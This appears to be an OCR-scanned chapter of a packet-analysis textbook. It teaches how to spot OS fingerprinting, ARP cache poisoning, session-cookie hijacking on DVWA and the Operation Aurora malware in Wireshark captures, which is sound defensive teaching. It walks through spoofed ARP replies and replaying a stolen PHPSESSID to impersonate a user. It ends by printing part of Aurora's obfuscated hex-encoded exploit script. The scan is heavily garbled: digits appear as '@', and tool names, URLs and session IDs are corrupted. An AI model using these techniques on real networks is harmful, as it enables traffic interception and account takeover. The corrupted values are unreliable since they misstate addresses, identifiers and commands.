> Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 

Total Length: 48 

Identification: @x4d8@ (19840) 
> Flags: 0x02 (Don't Fragment) 

Fragment offset: @ 

Time to live: 128 

Protocol: TCP (6) 
> Header checksum: @xa5bd [validation disabled] 

Source: 172.16.16.134 

Destination: 168.143.162.100 

[Source GeoIP: Unknown] 

[Destination GeoIP: Unknown] 





Source Port: 1176 
Destination Port: 80 
[Stream index: @] 

[TCP Segment Len: @] 
Sequence number: 2123482830 
Acknowledgment number: @ 
Header Length: 28 bytes 


Window size value: 64240 
[Calculated window size: 64240] 
> Checksum: @x367@ [validation disabled] 
Urgent pointer: @ 
vV Options: (8 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted 
> Maximum segment size: 1440 bytes 
> No-Operation (NOP) 
> No-Operation (NOP) 
> TCP SACK Permitted Option: True 








No.: 1 + Time: 0.000000 « Source: 172,16.16.134 « Destination: 168.143.162.100 * h: 62 > Info: 1176 — 80 [SYN] Seq=2123482830 Win= 64240 Len=0 MSS=1440 SACK_PER, 


[cose] [Hee 











@ Wireshark - Packet 2 . passiveosfingerprinting - o x 





> Frame 2: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface @ 
> Ethernet II, Src: Vmware_f9:74:d8 (@@:@c:29:f9:74:d8), Dst: D-Link_21:99:4c (@0:@5:5d:21:99:4c) 
V Internet Protocol Version 4, Src: 172.16.16.134, Dst: 168.143.162.100 
0100 .... = Version: 4 
. 0101 = Header Length: 20 bytes 
> Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 
Total Length: 48 
Identification: @x4d8@ (19840) 
> Flags: @x@2 (Don't Fragment) 
Fragment offset: @ 
Time to live: 64 
Protocol: TCP (6) 
> Header checksum: @xeSbd [validation disabled] 
Source: 172.16.16.134 
Destination: 168.143.162.100 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
V Transmission Control Protocol, Src Port: 1176 (1176), Dst Port: 80 (80), Seq: 2123482830, Len: @ 
Source Port: 1176 
Destination Port: 8@ 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 2123482830 
Acknowledgment number: @ 
Header Length: 28 bytes 
Flags: @x002 (SH) 
Window size value: 2920 
[Calculated window size: 2920] 
> Checksum: @x25e5 [validation disabled] 
Urgent pointer: @ 
V Options: (8 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted 
> Maximum segment size: 146@ bytes 
> No-Operation (NOP) 
> No-Operation (NOP) 
> TCP SACK Permitted Option: True 
> [SEQ/ACK analysis] 








No.: 2+ Time: 0.000108 « Source: 172.16.16.134 » Destination: 168.143.162.100 *..Qut-Of-Order] 1176 — 80 [SYN] Seq=2123482830 Win=2920 Len=0 MSS=1460 SACK PE. 
Close Help 





























Figure 12-7: These packets can tell us which operating system they were 
sent from. 


Packet Analysis for Security 


265 


In many cases, attackers rely on automated tools to passively identify the operating 
system of a target. One tool that uses operating system fingerprinting techniques is 
pOf. This tool analyzes relevant fields in a packet capture and outputs the suspected 
operating system. Using tools like pOf, you can get not only the operating system archi- 
tecture but sometimes even the version or patch level of the OS. You can download pOf 
from http://Icamtuf.coredump.cx/pOf.shtml. 


Active Fingerprinting 
activeosfingerprinting When passively monitoring traffic doesn’t yield the desired results, a more 
:pcapng direct approach—active fingerprinting—may be required. Now the attacker 
actively sends specially crafted packets to the target to elicit replies that will 
reveal the operating system on the targets machine. Of course, since this 
approach involves communicating directly with the target, it is not the least 
bit stealthy, but it can be highly effective. 

The file activeosfingerprinting.pcapng contains an example of an active 
operating system fingerprinting scan initiated with the Nmap scanning 
utility. Several packets in this file are the result of Nmap’s sending dif- 
ferent probes designed to elicit responses that will allow for operating 
system identification. Nmap records the responses to these probes and 
builds a fingerprint, which it compares to a database of values to make a 
determination. 


The techniques used by Nmap to actively fingerprint an operating system are quite 
complex. To learn more about how Nmap performs active operating system finger- 
printing, read the definitive guide to Nmap, Nmap Network Scanning (2008), 
by the tool’s author, Gordon “Fyodor” Lyon. 


Traffic Manipulation 


One of the key points I’ve tried to show throughout this book is that you 
can learn a lot about a system or its users by examining the right packets. 
Thus, it should come as no surprise that attackers often seek to capture 
these packets themselves. By examining the packets generated by a system, 
an attacker can learn about the operating system, the applications in use, 
authentication credentials, and much more. 

In this section, we’ll examine two techniques at the packet level: how 
an attacker can use ARP cache poisoning to intercept and capture target 
traffic and how they can intercept HTTP cookies to perform session- 
hijacking attacks. 
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arppoison.pcapng 


ARP Cache Poisoning 


In Chapter 7, we discussed how the ARP protocol is used to allow devices to 
map IP addresses to MAC addresses inside of a network, and, in Chapter 2, 
we discussed how ARP cache poisoning can be a useful technique for tap- 
ping into the wire and intercepting traffic from hosts whose packets you 
need to analyze. When used for legitimate purposes, ARP cache poisoning 
is very helpful for troubleshooting. However, when this technique is used 
with malicious intent, it is a lethal form of the man-in-the-middle (MITM) 
attack. 

In a MITM attack, an attacker redirects traffic between two hosts 
in order to intercept or modify data in transit. There are many forms of 
MITM attacks, including DNS spoofing and SSL hijacking. In ARP cache 
poisoning, specially crafted ARP packets trick two hosts into thinking they 
are communicating with each other when, in fact, they are communicating 
with a third party who is relaying packets as an intermediary. In this way, 
the illegitimate use of a protocol’s normal functionality can be used for 
malicious purposes. 

The file arppoison.pcapng contains an example of ARP cache poisoning. 
When you open it, you’ll see that this traffic appears normal at first glance. 
However, if you follow the packets, you'll see our target, 172.16.0.107, brows- 
ing to Google and performing a search. As a result of this search, there is 
quite a bit of HTTP traffic with some DNS queries mixed in. 

We know that ARP cache poisoning is a technique that occurs at layer 2, 
so if we just casually peruse the packets in the Packet List pane, it may be 
hard to see any foul play. To give us a leg up, we’ll add a couple of columns 
to the Packet List pane, as follows: 


Select Edit > Preferences. 

Click Columns on the left side of the Preferences window. 
Click the plus (+) button to add a new column. 

In the Title area, type Source MAC and press ENTER. 

In the Type drop-down list, select Hw src addr (resolved). 


DOE 8 ho 


Click the newly added entry and drag it so that it is directly after the 
Source column. 


Click the plus (+) button to add a new column. 
In the Title area, type Dest MAC and press ENTER. 


© o N 


In the Type drop-down list, select Hw dest addr (resolved). 


10. Click the newly added entry and drag it so that it is directly after the 
Destination column. 


11. Click OK to apply the changes. 
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When you have completed these steps, your screen should look like 
Figure 12-8. You should now have two additional columns showing the 
source and destination MAC addresses of the packets. 






































M \ireshark - Preferences ? x 
v Appearance 
Layout Displayed Title Type Field Name Field Occurrence 
Columns M No. Number 
Font and Colors “M Time Time (format as specified) 
Capture M Source Source address 
Filter Expressions z Source MAC Hw src addr (resolved) 
Name Resolution z Destination Destination address 
> Protocols z Dest MAC Hw dest addr (resolved) 
> Statistics M Protocol Protocol 
Advanced M Info Information 
+ — 
< > 
Ce Cea oe 








Figure 12-8: The column configuration screen with newly added columns for source and 
destination hardware addresses 


If you still have MAC name resolution turned on, you should see that 
the communicating devices have MAC addresses that indicate Dell and 
Cisco hardware. This is very important to remember because as we scroll 
through the capture, we’ll see that this changes at packet 54, where we see 
some peculiar ARP traffic occurring between the Dell host (our target) and 
a newly introduced HP host (the attacker), as shown in Figure 12-9. 





Info 


Protocol 





No. Time Source Source MAC Destination Dest MAC 

54 4.171500 HewlettP_bf:9l:ee HewlettP_bf:91:ee Dell _c@:56:f@ (1) Dell _c@:56:f@ ARP Who has 172.16.0.107? Tell 172.16.0.1 
Oss 0.000053 Dell _c@:56:f@ Dell _c0:56:f0 HewlettP_bf:91:ee HewlettP_bf:91:ee ARP 172.16.0.107 is at @@:21:70:c0:56:f0 

56 0.000013 HewlettP_bf:91:ee HewlettP_bf:91:ee Dell _c@:56:f@ Dell _c@:56:f@ ARP @)172.16.0.1 is at @0:25:b3:bf:91:ee 
Figure 12-9: Strange ARP traffic between the Dell device and an HP device 

Before proceeding further, note the endpoints involved in this commu- 
nication, which are listed in Table 12-3. 
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Table 12-3: Endpoints Being Monitored 


Role Device type IP address MAC address 

Target Dell 172.16.0.107 00:21:70:c0:56:f0 
Router Cisco 172.16.0.1 00:26:0b:31:07:33 
Attacker HP Unknown 00:25:b3:bf:91:ee 


But what makes this traffic strange? Recall from our discussion of ARP 
in Chapter 7 that there are two primary types of ARP packets: a request 
and a response. The request packet is sent as a broadcast to all hosts on the 
network in order to find the machine that has the MAC address associated 
with a particular IP address. Then the machine that replies to the request- 
ing device sends a response as a unicast packet. Given this background, we 
can identify a few peculiar things in this communication sequence, refer- 
ring to Figure 12-9. 

First, packet 54 is an ARP request sent from the attacker (MAC address 
00:25:b3:bf:9l:ee) as a unicast packet directly to the target (MAC address 
00:21:70:c0:56:f0) @. This type of request should be broadcast to all hosts 
on the network, but this one singles out the target. Also, notice that although 
this packet is sent from the attacker and includes the attacker’s MAC address 
in the ARP header, it lists the router’s IP address rather than its own. 

This packet is followed by a response from the target to the attacker 
containing its MAC address information @. The real voodoo here occurs 
in packet 56, in which the attacker sends a packet to the target with an 
unsolicited ARP reply telling it that 172.16.0.1 is located at its MAC address, 
00:25:b3:bf:91:ee ©. The problem is that MAC address 172.16.0.1 isn’t 
00:25:b3:bf:91:ee but is 00:26:0b:31:07:33. We know this because we saw 
the router at 172.16.0.1 communicating with the target earlier in the packet 
capture. Since the ARP protocol is inherently insecure (it accepts unsolic- 
ited updates to its ARP table), the target will now be sending traffic that 
should be going to the router to the attacker instead. 


Because this packet capture was taken from the target’s machine, you don’t actu- 
ally see the entire picture. For this attack to work, the attacker must send the same 
sequence of packets to the router in order to trick it into thinking the attacker is actu- 
ally the target, but we would need to take another packet capture from the router (or 
the attacker) to see those packets. 


Once both target and router have been duped, the communication 
between them flows through the attacker, as illustrated in Figure 12-10. 
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ARP Spoofing Setup 


(Target's Perspective) 


$e 
Who has 172.16.0.1072 Tell 172.16.0.1 










































































SRC MAC: 
00:25:b3:bf:9 1:ee 
are C DST MAC: 
wee E 00:21:70:c0:56:f0 o 
eqa— = 
Router 172.16.0.107 is at 00:21:70:c0:56:f0 
(Cisco) Attacker SRC MAC: Target 
172.16.0.1 (HP) 00:21:70:c0:56:f0 (Dell) 
00:26:0b:21:07:33 00:25:b3:bf:91:ee DST MAC: 172.16.0.107 


00:23:b3:bf:2.e6 00:21:70:c0:56:f0 
172.16.0.1 is at 00:25:b3:bf:91:ee 
SRC MAC: 
00:25:b3:bf:9 1:ee 
DST MAC: 
00:21:70:c0:56:f0 


ARP Spoofing Result 
(Attacker Intercepts Traffic) 
























































ll. 











Router Attacker Target 


Figure 12-10: ARP cache poisoning as an MITM attack 


Packet 57 confirms the success of this attack. When you compare this 
packet to one sent before the mysterious ARP traffic, such as packet 40 (see 
Figure 12-11), you will see that the IP address of the remote server (Google) 
remains the same @ but the target MAC address has changed ®. This change 
in MAC address tells us that the traffic is now being routed through the 
attacker before it gets to the router. 

Because this attack is so subtle, it’s very difficult to detect. To find it, 
you typically need the aid of an IDS configured specifically to address it or 
software running on devices designed to detect sudden changes in ARP 
table entries. Since you’ll most likely use ARP cache poisoning to capture 
packets on networks you are analyzing, it’s important to know how this tech- 
nique can be used against you as well. 
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M Wireshark » Packet 40 - arppoison = o x 





[> Frame 40: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @ 
YV Ethernet II, Src: Dell_c@:56:f@ (@0:21:70:c@:56:f@), Dst: CiscoInc_31:07:33 (@@:26:@b:31:07:33) 

Destination: CiscoInc_31:07:33 (@@:26:0b:31:07:33) @ 

Source: Dell c@:56:f@ (@@:21:70:c@:56:f@) 

Type: IPv4 (@x@800) 
v Internet Protocol Version 4, Src: 172.16.0.107, Dst: 74.125.95.147 

@10@ .... = Version: 4 

+ 0101 = Header Length: 20 bytes 

Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 

Total Length: 52 

Identification: @x97bf (38847) 

Flags: @x@2 (Don't Fragment) 

Fragment offset: @ 

Time to live: 64 

Protocol: TCP (6) 

Header checksum: @x4c79 [validation disabled] 

Source: 172.16.0.107 

Destination: 74.125.95.147 @ 

[Source GeoIP: Unknown] 

[Destination GeoIP: Unknown] 


| > Transmission Control Protocol, Src Port: 45692 (45692), Dst Port: 8@ (80), Seq: 619079507, Ack: 2814360513, Len: @ 
L 


No.: 40 + Time: 0.000013 - Source: 172.16.0.107 « Source MAC: Dell 0:56:70 Destination: 74.125.95.147 «col: TCP « Info: 45692 — 80 [ACK] Seq=619079507 Ack=2814360513 Win=6912 Len=0 TSval=586661 TSecr=321. 











M Wireshark . Packet 57 - arppoison o 
|> Frame 57: 960 bytes on wire (7680 bits), 960 bytes captured (7680 bits) on interface @ 
YV Ethernet II, Src: Dell _cO:56:f@ (00:21:70:c0:56:f@), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee) 

Destination: HewlettP_bf:91:ee (00:25:b3:bf:91:ee) @ 

Source: Dell_c0:56:f0 (00:21:70:c0:56:f0) 

Type: IPv4 (0x0800) 
YV Internet Protocol Version 4, Src: 172.16.0.107, Dst: 74.125.95.147 

0100 .... = Version: 4 

+ 0101 = Header Length: 20 bytes 

Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 

Total Length: 946 

Identification: @x3af1 (15089) 

Flags: 0x02 (Don’t Fragment) 

Fragment offset: @ 

Time to live: 64 

Protocol: TCP (6) 

Header checksum: @xa5c9 [validation disabled] 

Source: 172.16.@.107 

Destination: 74.125.95.147 @ 

[Source GeoIP: Unknown] 

[Destination GeoIP: Unknown] 
> Transmission Control Protocol, Src Port: 45691 (45691), Dst Port: 80 (80), Seq: 609865591, Ack: 1647620296, Len: 894 
- Hypertext Transfer Protocol 











No.: 57 - Time: 1.906795 - Source: 172.16.0.107 - Source MAC: Dell c0:56:f0 - Destination: 74,125.95. 14..gi=8aql=80q=USgs_rfsi=8fp=5709:8676901bf048tch= 1Bech=18psi=dNQ_TOegl¥_6M_Ss@JwH12792515729190 HTT 





Close Help 
Figure 12-11: The change in target MAC address shows this attack was a success. 
Session Hijacking 
sessionhijacking Now that you know how ARP cache poisoning can be used maliciously, I want 
‘Peapng to demonstrate a technique that can take advantage of it: session hijacking. In 


session hijacking, an attacker compromises an HTTP session cookie, which 
we'll learn about soon, and uses it to impersonate another user. To accom- 
plish this, an attacker can use ARP cache poisoning to intercept a target’s 
traffic and find relevant session cookie information. The attacker can then 
use that information to access the target web application as the target user. 
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This scenario begins with the file sesstonhijacking.pcapng. This capture 
contains the traffic of a target (172.16.16.164) communicating with a web 
application (172.16.16.181). Unbeknownst to the target, they have fallen 
prey to an attacker (172.16.16.154) who is actively intercepting their com- 
munications. These packets were collected from the perspective of the web 
server, which is likely the same viewpoint a defender would have if a session- 
hijacking attack were used against their server infrastructure. 


The web application being accessed here is called Damn Vulnerable Web Application 
(DVWA). It is intentionally vulnerable to many types of attacks and is used fre- 
quently as a teaching tool. If youd like to learn more about web application attacks 
or investigate packets associated with them, you can learn more about DVWA at 
http://www.dvwa.co.uk/. 


The traffic in this capture consists primarily of two conversations. The 
first is the communication from the target to web server, which can be iso- 
lated with the filter ip.addr == 172.16.16.164 && ip.addr == 172.16.16.181. This 
communication represents normal web-browsing traffic and isn’t particularly 
special. Of particular interest is the cookie value in the requests. For instance, 
if you look at a GET request such as the one in packet 14, you will find the 
cookie listed in the Packet Details window, as shown in Figure 12-12. In 
this case, the cookie identifies the session ID with a PHPSESSID value of 
ncobrqrb7fj2a2sinddtk567q4 @. 


M Wireshark . Packet 14 - sessionhijacking e o x 


Frame 14: 602 bytes on wire (4816 bits), 602 bytes captured (4816 bits) on interface @ 
Ethernet II, Src: IntelCor_f8:91l:ac (f8:16:54:f8:91:ac), Dst: Vmware_d8:dd:2b (@@:0c:29:d8:dd:2b) 
Internet Protocol Version 4, Src: 172.16.16.164, Dst: 172.16.16.181 
Transmission Control Protocol, Src Port: 60432 (60432), Dst Port: 8@ (80), Seq: 1085846135, Ack: 1765521347, Len: 536 
v~ Hypertext Transfer Protocol 
GET /dvwa/index.php HTTP/1.1\r\n 
Host: 172.16.16.181\r\n 
Connection: keep-alive\r\n 
Cache-Control: max-age=@\r\n 
Accept: text/html, application/xhtml+xml, application/xml;q=@.9, image/webp,*/*;q=@.8\r\n 
Upgrade-Insecure-Requests: 1\r\n 
User-Agent: Mozilla/S.@ (Macintosh; Intel Mac OS X 10 10 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.@.2526.106 Safari/537.36\r\n 
Referer: http://172.16.16.181/dvwa/login.php\r\n 
Accept-Encoding: gzip, deflate, sdch\r\n 
Accept-Language: en-US,en;q=@.8\r\n 
Y Cookie: security=impossible; PHPSESSID=ncobrqrb7fj2a2sinddtk567q4\r\n 
Cookie pair: security=impossible 
Cookie pair: PHPSESSID=ncobrqrb7#j2a2sinddtks67q4 @ 
\r\n 
[Full request URI: http://172.16.16.181/dvwa/index.php] 
[HTTP request 1/2] 
[Response in frame: 19 
[Next request in frame: 24 











No.: 14 + Time: 0.004048 - Source: 172.16.16.164 « Destination: 172.16.16.181 « Request Method: GET ' Request URI: /dvw...ty=impossible, PHPSESSID =ncobrorb7#izaZsindaek 56794 * Protocol: HTTP + Length: 602 « Info: GET /dvwa/index,php | 


tt 











Figure 12-12: Viewing the target's session cookie 


Websites use cookies to maintain session awareness for individual hosts. 
When a new visitor comes to a website, they are issued a session ID that 
uniquely identifies them (the PHPSESSID). For authentication, many appli- 
cations wait until a user with a session ID has successfully authenticated 
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to the app, and then they create a database record recognizing that ID as 
being representative of an authenticated session. Any user with that ID will 
be able to access the app with that authentication. Of course, developers 
want to believe that only a single user would have a specific ID because the 
IDs are uniquely generated. This method of handling session IDs is inse- 
cure, however, because it allows a malicious user to steal another user’s ID 
and use it to impersonate them. There are methods that can be used to pre- 
vent session-hijacking techniques, but many websites, including DVWA, are 
still vulnerable. 

The target doesn’t realize that their traffic is being intercepted by an 
attacker or that the attacker has access to the session cookie, as shown in 
Figure 12-12. All the attacker has to do is communicate with the web server 
using that cookie value. This task can be accomplished with certain types 
of proxy servers, but it is made even easier by using browser plugins like 
Cookie Manager for Chrome. Using this plugin, the attacker can specify 
the PHPSESSID value obtained from the target’s traffic, as shown in 
Figure 12-13. 





ser / [E Login : Damn Vulnerable ` x 


e Œ D 172.16.16.181/dvwa/login.php i?) = 
For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now... | tejiicom Options fea} 
Show : All Sub Domains Current Domain 
Search 








Delete All Cookies 


<, N > Add New Cookie 
oM 
D T 








ALLEE J 
Delete Cookie 
Value |ncobrqrb7Fj2a2sinddtk567q4| 4 
Domain 172.16.16.181 
Path 7 
Username Store ID 1 
¢ Host Only Secure 


®© HTTP Only Ø Session 


Password Expiration 


Date e.g., Feb 04 2016 13:16:09 
Save X 
Login ‘ > 
Found 18 domains. 


Click "Sub Domains" link above to view cookies from sub domain 
Click "All" link above to view all cookies. 











Figure 12-13: Using the Cookie Manager plugin to impersonate the target 


If you clear the filter previously applied to the capture file and start 
scrolling down, eventually you'll see the attacker’s IP address communicat- 
ing with the web server. You can limit your view to this communication 
using the filter ip.addy == 172.16.16.154 && ip.addr == 172.16.16.181. 

Before we dig into this further, let’s add a column to show the cookie 
values in the Packet List pane. If you added columns as part of the previ- 
ous section on ARP cache poisoning, you should remove those first. Then 
proceed to use the instructions from the ARP cache-poisoning section to 
add the new custom column field based on the field name http.cookie_pair. 
Once you've added the column, position it after the Destination field. Your 
screen should look like Figure 12-14. 
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Figure 12-14: Configuring columns to investigate session hijacking 


With the new columns configured, modify the display filter to show only 
HTTP requests, as TCP communication isn’t useful here. The new filter is 
(ip.addy==172.16.16.154 && ip.addy==172.16.16.181) && (http.request.method | | 
http.response.code). The resulting packets are shown in Figure 12-15. 








No. Time Source Destination Cookie pair Protocol Info 

77 16.563004 172.16.16.154 172.16.16.181 security=low,PHPSESSID=lup70ajeuodkrhrvbmsjtgrd71 HTTP @Ocer /dvwa/ HTTP/1.1 

79 16.565584 172.16.16.181 172.16.16.154 HTTP HTTP/1.1 302 Found@ 

80 16.570187 172.16.16.154 172.16.16.181 security=low, PHPSESSID=lup7@ajeuodkrhrvbmsjtgrd71 HTTP @cer /dvwa/login.php HTTP/1.1 
81 16.575123 172.16.16.181 172.16.16.154 HTTP HTTP/1.1 200 OK (text/html) 
115 60.040166 172.16.16.154 172.16.16.181 security=low,PHPSESSID=ncobrqrb7fj2a2sinddtk567q4 HTTP OET /dvwa/ HTTP/1.1 

118 60.042241 172.16.16.181 172.16.16.154 HTTP HTTP/1.1 200 OK (text/html) 
120 64.292056 172.16.16.154 172.16.16.181 security=low,PHPSESSID=ncobrqrb7fj2a2sinddtk567q4 HTTP QET /dvwa/setup.php HTTP/1.1 
122 64.293401 172.16.16.181 172.16.16.154 HTTP HTTP/1.1 200 OK (text/html) 





Figure 12-15: The attacker impersonating the target user 


You are now looking at communication between the attacker and the 
server. In the first four packets, the attacker requests the /dvwa/ directory ® 
and receives a 302 response code in return, which is a normal method web 
servers use to redirect visitors to different URLs on a server. In this case, the 
attacker gets redirected to the login page at /dvwa/login.php @. The attacker’s 
machine requests the login page ®, which is returned successfully @. Both 
requests use the session ID lup70ajeuodkrhrubmsjtgrd71. 

Following that, there is a new request for the /dvwa/ directory, but 
this time, take note of the different session ID ®. The session ID is now 
ncobrqrb7fji2a2sinddtk567q4, which is the same one the target used earlier. 
This indicates the attacker has manipulated the traffic to use the stolen 
ID. Instead of being redirected to the login page, the request is met with an 
HTTP 200 status code, and the page is delivered as the authenticated target 
would see it @. The attacker browses to another page, duwa/setup.php, using 
the target’s ID @, and that page also returns successfully ©. The attacker is 
browsing the DVWA website as though they were authenticated as the tar- 
get. This is all without knowing the target’s username or password. 
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This is just one example of how an attacker can turn packet analysis 
into an offensive tool. In general, it’s safe to assume that if an attacker can 
see the packets associated with your communication, some type of mali- 
cious activity can result. This is one reason security professionals advocate 
for protecting data in transit through encryption. 


Malware 


aurora.pcapng 


While perfectly legitimate software can be used for malicious purposes, 
malware is a term usually reserved for code that is written specifically with 
malicious intent. Malware can take many shapes and forms, including worms 
that are self-propagating and trojan horses that masquerade as legitimate 
software. From a network defender’s view, most malware is undiscovered and 
unknown until it can be captured and analyzed. This analysis involves mul- 
tiple steps, including one focused on a behavioral analysis of the malware’s 
network communication patterns. In some cases, analysis occurs in a forensic 
malware reverse-engineering lab, but more often, it occurs in the wild when a 
security analyst discovers a device on their network that has become infected. 

In this section, we will look at a few examples of real malware and its 
behavior, as observed through packets. 


Operation Aurora 


In January 2010, Operation Aurora was discovered to have exploited an 
as of then unknown vulnerability in Internet Explorer. This vulnerability 
allowed attackers to gain remote control of targeted machines at Google, 
among other companies. 

For this malicious code to be executed, a user simply needed to visit 
a website using a vulnerable version of Internet Explorer. The attackers 
then had immediate access to the user’s machine with the same privileges 
as the logged-in user. Spear phishing, in which attackers send an email mes- 
sage designed to get recipients to click a link leading to a malicious site, 
was used to lure the targets. 

In the case of Aurora, we pick up this story as soon as the targeted user 
clicks the link in the spear-phishing email. The resulting packets are con- 
tained in the file aurora.pcapneg. 

This capture begins with a three-way handshake between the target 
(192.168.100.206) and the attacker (192.168.100.202). The initial con- 
nection is to port 80, which would lead us to believe this is HTTP traffic. 
That assumption is confirmed in the fourth packet, which is an HTTP GET 
request for /info @, as shown in Figure 12-16. 

As shown in Figure 12-17, the attacker’s machine acknowledges receipt 
of the GET request and reports a response code of 302 (Moved Temporarily) 
in packet 6 @, the status code commonly used to redirect a browser to 
another page, as is the case here. Along with the 302 response code, a 
Location field specifies the location /info?rFfWELUjLJHpP ®. 
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M Wireshark - Packet 4. aurora = o x 


> Frame 4: 345 bytes on wire (276@ bits), 345 bytes captured (276@ bits) 
> Ethernet II, Src: Vmware_@7:ae:27 (@0:0c:29:07:ae:27), Dst: HewlettP_bf:91l:ee (@0:25:b3:bf:91:ee) 
> Internet Protocol Version 4, Src: 192.168.100.206, Dst: 192.168.100.202 
> Transmission Control Protocol, Src Port: 1031 (1031), Dst Port: 8@ (80), Seq: 3982970894, Ack: 3036725423, Len: 291 
v 
> 1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n 
Accept-Language: en-us\r\n 
Accept-Encoding: gzip, deflate\r\n 
User-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.1; S$V1)\r\n 
Host: 192.168.100.2@2\r\n 
Connection: Keep-Alive\r\n 
\r\n 
{Full request URI: http://192.168.100.202/info] 
[HTTP request 1/3] 
Response in frame: 6 
[Next request in frame: 7] 














No.: 4 * Time: 0.000465 ° Source: 192.168.100.206 « Destination: 192.168.100.202 « Cookie pair: « Protocol: HTTP - Length: 345 - Info: GET Anfo HTTP/1.1 





[cose] [Hep | 








Figure 12-16: The target makes a GET request for /info. 





M Wireshark - Packet 6 - aurora = o x 


> Frame 6: 191 bytes on wire (1528 bits), 191 bytes captured (1528 bits) 
> Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: Vmware_@7:ae:27 (@0:0c:29:07:ae:27) 
> Internet Protocol Version 4, Src: 192.168.100.202, Dst: 192.168.100.206 
> Transmission Control Protocol, Src Port: 80 (80), Dst Port: 1031 (1031), Seq: 3036725423, Ack: 3982971185, Len: 137 
v 
> 1 
Content-Type: text/html\r\n 
Location: /info?rFfWELUjLIHpP\r\n @ 
Connection: Keep-Alive\r\n 
Server: Apache\r\n 
Content-Length: @\r\n 
\r\n 
[HTTP response 1/3] 
[Time since request: @.4781020@@ seconds] 
Request in frame: 4 
[Next request in frame: 7] 
[Next response in frame: 18] 


v 














No.: 6 * Time: 0.278842 - Source: 192.168.100.202 « Destination: 192.168.100.206 Cookie pair: Protocol: HTTP + Length: 191 Info: HTTP/1.1 302 Moved 








[cose] Hep 














Figure 12-17: The client browser is redirected with this packet. 


After receiving the HTTP 302 packet, the client initiates another GET 
request to the /info?rFfWELUJLJHpP URL in packet 7, for which an ACK is 
received in packet 8. Following the ACK, the next several packets represent 
data being transferred from the attacker to the target. To take a closer look 
at that data, right-click one of the packets in the stream, such as packet 9, 
and select Follow > TCP Stream. In this stream output, we see the initial 
GET request, the 302 redirection, and the second GET request, as shown in 
Figure 12-18. 

After this, things start getting really strange. The attacker responds 
to the GET request with some very odd-looking content, the first section of 
which is shown in Figure 12-19. 
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) + aurora - Oo x 





GET /info HTTP/1.1 a 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* 
Accept-Language: en-us 

Accept-Encoding: gzip, deflate 

User-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 192.168.100.202 

Connection: Keep-Alive 


HTTP/1.1 302 Moved 
Content-Type: text/html 
Location: /info?rFfWELUjLIHpP 
Connection: Keep-Alive 
Server: Apache 
Content-Length: @ 


GET /info?rFfWELUjLIHpP HTTP/1.1 

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* 
Accept-Language: en-us 

Accept-Encoding: gzip, deflate 

User-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: 192.168.160.262 

Connection: Keep-Alive 


HTTP/1.1 200 OK 
Content-Type: text/html 
Pragma: no-cache 
Connection: Keep-Alive 
Server: Apache 
Content-Length: 11266 















































3 cient pkefs), 10 server pke{s), 5 turn(s). 
Entire conversation (12 kB) Me Show data as | ASCII = Stream |0 |$ 
pes 





















































Figure 12-18: The data stream being transmitted to the client 





4 Wireshark - Follow TCP Stream (tcp.stream eq 0) - aurora ai o 





<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> 
<html> 
<head> 
<script @ 

var IwpVuiFqihVySoJStwXmT = 
'04271477133b000b1að0c240339133c120e2805160e1503684d705005291a08091b3e6e713e1122520b03123d05180839 
2c@d27123b0a0805033c1c0735321a2407350314142935250329083c0a0000072f142624011f2a27022825082f253f2c3 
9394a716a2615275207142524357d43772c2702705a2f466a657c6e4a256a7450614176566c65257e4165310515150a0f 
2b35302a103d0e03041e0234362f3a3c34073e1bðødðdð2131e3f1635200e21101c38093913112e322223211f323930213 
3381b330a0c2c1175576c2e2713251f2308236b2f270f2d3e2d353c172b03393164031d192b1e363c012f072d31153823 
@f2e113979490b03123d051808392c@d27123b0a0805033c1c0735321a2407350314142935250829083c0a0000072f142 
624011f2a27022825082f253f2c39393125176614310627466a656e0d3a3968730d261334463b1122303b07052d3d3705 
303e36340f05131d0b2934142b070d33657175043926244b261334461d362b31063d3e00263e1c110f11080f250e34002 
0150110220c1e111c3dðe273f3a3a21050f2b2208341f04042c684d701c231177043e270b3562614b26133446220e083e 
1c@d@e1b3d1d31362b271221170036001a240230092e222638383d152b1a23162b0d3330230b14053e3e3c1a321537122 
d27043a30271d2439383b121f160a033e1c211e383f203e3e143136190210081F 2c1e231603112d363975576c3F261523 
112716327e2a20042f3e211f3e5221212e233d131cOF1318223d2a24080212361718392626070a2407 2c 2710253321082 
3@92a15390917190d3e3310250d0c04053d04173d1cOF212b184820333c382d3e3d2036000921320a1c36371e4e7e3e3a 
34186c271f1707352e1f 260a1a2d281c3b3c1e113411272e3d2419843d080611023c280d1c3318332b3b1c3d@61Febe5e 
810103b173a160F32230a060d16260216001c1c@5684d70070d223c330d113901070b001d02110b152F361F3818180a3F 
180725123a121534381f0c113b@5152021162a3e211e26282fG12408242e381f 27020605 220124293309293c3321011a0 
33a@40822143533003f08000E22392c35270835137f656b701F 2a727C4175077F5565726920537b782e55254b7F523660 
39610b75286d0@5364b7255723078305e2e6f 3d49624b76432223746108693f 7b47694063136423756c4f392c7d4969573 
